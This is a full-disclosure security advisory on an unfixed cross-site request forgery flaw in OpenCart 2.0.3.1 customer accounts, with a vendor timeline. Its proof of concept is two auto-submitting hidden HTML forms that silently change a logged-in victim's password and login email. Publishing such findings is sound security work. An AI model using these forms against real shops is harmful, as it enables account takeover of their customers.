OpenCart 2.0.3.1 Cross Site Request Forgery

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: OpenCart 2.0.3.1  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: https://www.opencart.com/  
Vulnerability Type: CSRF  
Remote Exploitable: Yes  
Reported to vendor: 09/01/2015  
Disclosed to public: 10/07/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Vulnerability Description  
  
While CSRF protection exists for the actions of an admin, it does not exist for  
customers. This means that customer accounts can be compromised by an attacker  
if the victim visits an attacker controlled website while logged in.  
  
This issue was already discovered in 2013 by Saadat Ullah, but new versions of  
OpenCart are still vulnerable as no fix has been released.  
  
3. Proof of Concept  
  
Change Password:  
  
  
<form name="myform" method="post" action="http://localhost/opencart-2.0.3.1/upload/index.php?route=account/password" >  
<input type="hidden" name="password" value="12345">  
<input type="hidden" name="confirm" value="12345">  
</form>  
<script>document.myform.submit();</script>  
  
Change profile information, including email address, which is used when logging  
in:  
  
  
<form name="myform" method="post" action="http://localhost/opencart-2.0.3.1/upload/index.php?route=account/edit" >  
<input type="hidden" name="currency" value="USD">  
<input type="hidden" name="language" value="en">  
<input type="hidden" name="firstname" value="Jane">  
<input type="hidden" name="lastname" value="Smith">  
<input type="hidden" name="email" value="[email protected]">  
<input type="hidden" name="telephone" value="1234567">  
</form>  
<script>document.myform.submit();</script>  
  
4. Solution  
  
This issue was not fixed by the vendor.  
  
5. Report Timeline  
  
09/01/ Informed Vendor about Issue (no reply)  
2015  
09/22/ Reminded Vendor of disclosure date  
2015  
09/23/ Vendor points out that issue is already known, and that they do not  
2015 plan on releasing a fix  
10/07/ Disclosed to public  
2015  
  
  
Blog Reference:  
http://blog.curesec.com/article/blog/OpenCart-2031-CSRF-66.html  
  
  
`